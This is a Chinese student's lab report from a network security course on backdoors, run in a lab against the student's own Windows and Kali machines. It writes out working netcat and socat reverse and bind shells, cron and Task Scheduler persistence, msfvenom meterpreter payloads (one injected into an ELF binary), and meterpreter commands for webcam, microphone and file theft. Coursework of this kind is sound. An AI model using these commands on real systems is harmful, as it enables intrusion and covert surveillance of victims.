NetSec2019 20165327 Exp2 后门原理与实践
快速找到重点:
(1)使用netcat获取主机操作Shell,cron启动 (0.5分)
(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
一、后门的概念
未认证的隐通道 的专门应用
设置后门的步骤:程序、投送、启动、隐藏
二、基础问题回答
1.例举你能想到的一个后门进入到你系统中的可能方式?
在上课之前让我想一个的话应该是:下载来历不明的软件。
但是周二上完课,我才明白后门原来无处不在,包括下载很多正版的软件一样有。
2、例举你知道的后门如何启动起来(win及linux)的方式?
Windows:点击直接执行;通过任务计划程序启动;在开机启动项中,伴随开机启动
Linux:制定任务,从而启动;通过脚本启动
3、Meterpreter有哪些给你映像深刻的功能?
老师上课的演示虽然不太顺畅,但是说两句话就存成文件的操作真的强。(以后重要的事情真的应该找个没有信号的地方面谈)
想着能自动开启受害机的摄像头我就感到背后发凉。。。
4、如何发现自己有系统有没有被安装后门?
开防火墙;杀毒软件全盘扫描;课上讲的“这种后门只要是程序员一眼就能看出”的境界我还得修炼修炼。
三、工具试用
netcat
(一)Windows获得Linux Shell
1、Windows使用ipconfig查看本机IP:
2、ncat.exe程序打开监听ncat.exe -l -p 1912
3、kali中反弹连接Windows,nc 192.168.118.133 1912 -e /bin/sh,使用-e的目的是选项执行shell程序
注:此处出现问题在最后详解。
4、Windows成功获得kali的shell
(二)Linux获得Windows Shell
1、kali中使用ifconfig查看IP
2、打开监听nc -l -p 1912
3、Windows中反弹连接kali:ncat.exe -e cmd.exe 192.168.118.130 1912
4、kali控制了Windows
(三)nc传输数据
Windows下监听1912端口,ncat.exe -l 1912
kali反弹连接到Windows的1912端口,nc 192.168.118.133 1912
连接建立成功,双方可以相互聊天了(展示了捉急的英语水平美名其曰传数据)
(四)使用nc传输文件
A 从Windows传给kali
1、kali下监听1912端口,并把收到的数据保存到filet.out中,nc -l 1912 > filet.out
2、Windows反弹连接到kali的1912端口,ncat.exe 192.168.118.130 < filet.in
3、kali可以收到Windows发来的文件。
B 从kali传给Windows(步骤与上面相似,此次监听5327端口,截图如下)
四、实验内容
(一)使用netcat获取主机操作Shell,cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。
在Windows系统下,监听5327端口
在Kali环境下,用crontab -e指令编辑一条定时任务,(crontab指令增加一条定时任务,"-e"表示编辑)选择编辑器时选择3(第一次会提示选择编辑器,以后就不会提示了);
在最后一行添加56 * * * * /bin/netcat 192.168.118.133 5327 -e /bin/sh,意思是在每个小时的第56分钟反向连接Windows主机的5327端口
实验效果:
再看kali端,的确是kali的内容
(二)使用socat获取主机操作Shell, 任务计划启动
1、Windows端打开“计算机管理”
在“任务计划程序”中“创建任务”
2、操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5327 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5327,同时把cmd.exe的stderr重定向到stdout上:
3、创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,找到你创建的任务双击后,可以发现之前创建的任务已经开始运行
4、在Kali环境下输入指令socat - tcp:192.168.118.133:5327,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5327端口,看是否成功获得了一个cmd shell,然鹅……(3.25通过手动运行终于ok了)
(三)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.118.130 LPORT=5327 -f exe > 20165327_backdoor.exe生成后门程序
注:IP地址为kali的IP
Windows下执行ncat.exe -lv 5327 > 20165327_backdoor.exe,进入接受模式
kali中执行nc 192.168.118.133 5327 < 20165327_backdoor.exe
此时IP地址为主机即WindowsIP
文件接收成功:
在kali中打开终端,输入msfconsole指令进入msf控制台
输入use exploit/multi/handler进入监听模块
输入set payload windows/meterpreter/reverse_tcp设置payload
依次输入set LHOST 192.168.118.130和set LPORT 5327设置IP及端口
开始监听:
Windows触发后门程序(点击运行) kali端连接上了Windows端,并且得到了远程控制的shell:
(四)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
获取录音并保存并修改名:record_mic
摄像头:webcam_snap(当摄像头不明不白一亮的时候……)
使用screenshot指令可以进行截屏
也可以用webcam stream使用摄像头进行录像
**sysinfo **获得目标系统的信息,机器名、操作系统等
ps获得受害者机上运行的进程信息
upload / download 命令,给受害机传或者从受害机下载文件
……
功能很多不赘述了
(五)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
使用命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.118.130 LPORT=5327 -x /root/20165327yjt/exp2/5327pwn0 -f elf > 5327pwn1生成以5327pwn0模板这个elf文件格式的shellcode文件5327pwn1
输入指令msfconsole,进入msf命令行
接下来的操作和(三)相似
use exploit/multi/handler (进入handler模式)
set payload linux/x86/meterpreter/reverse_tcp (对应生成的后门程序设置payload)
show options (看信息)
set LHOST 192.168.118.130 (设置LHOST)
set LPORT 5327 (设置LPORT)
exploit (启动监听)
然后触发5327pwn1
ok~~
五、实验感想
跟着教程走了一遍,也遇到了不少问题。昨天零散做了些,今天从下午一点半到现在(每小时歇息了几分钟)才差不多走完,只能说效率很低。中间很多原理不是很懂,要是改变诸多条件中的其中一个可能想要取得监听成功都要费一些周折。像我这种不想熬夜肝实验一出问题就问度娘的当黑客真心不易。。无处不在的后门让我瑟瑟发抖,以后还是把摄像头遮住,重要的事情一定要找个屏蔽了信号的地方面谈,用软件还是要用正版至少有法律做最后保障。另外,这次遇到的问题们好好要总结,也算是本周的收获了。
遇到问题:
1、防火墙提示:
2、ncat问题
3、ls不行dir行
3、创建in文件的方法
解决:对一个文本文档进行保存的时候保存为“所有文件”然后文件名后面后缀为.in
4、被拒绝
根据博客关掉kali 的防火墙
5、虚拟机中的摄像头
在win7下方可以设置,所以防止被偷拍可以在那里设置了。那如果被控制了也可以打开那里的限权进而开启别人的摄像头?(我现在还不会那么高级的操作)
before
新出现的Windows ping不通kali的情况
此时kali的网络设置为:
更改为:
可以ping通了:为什么呢?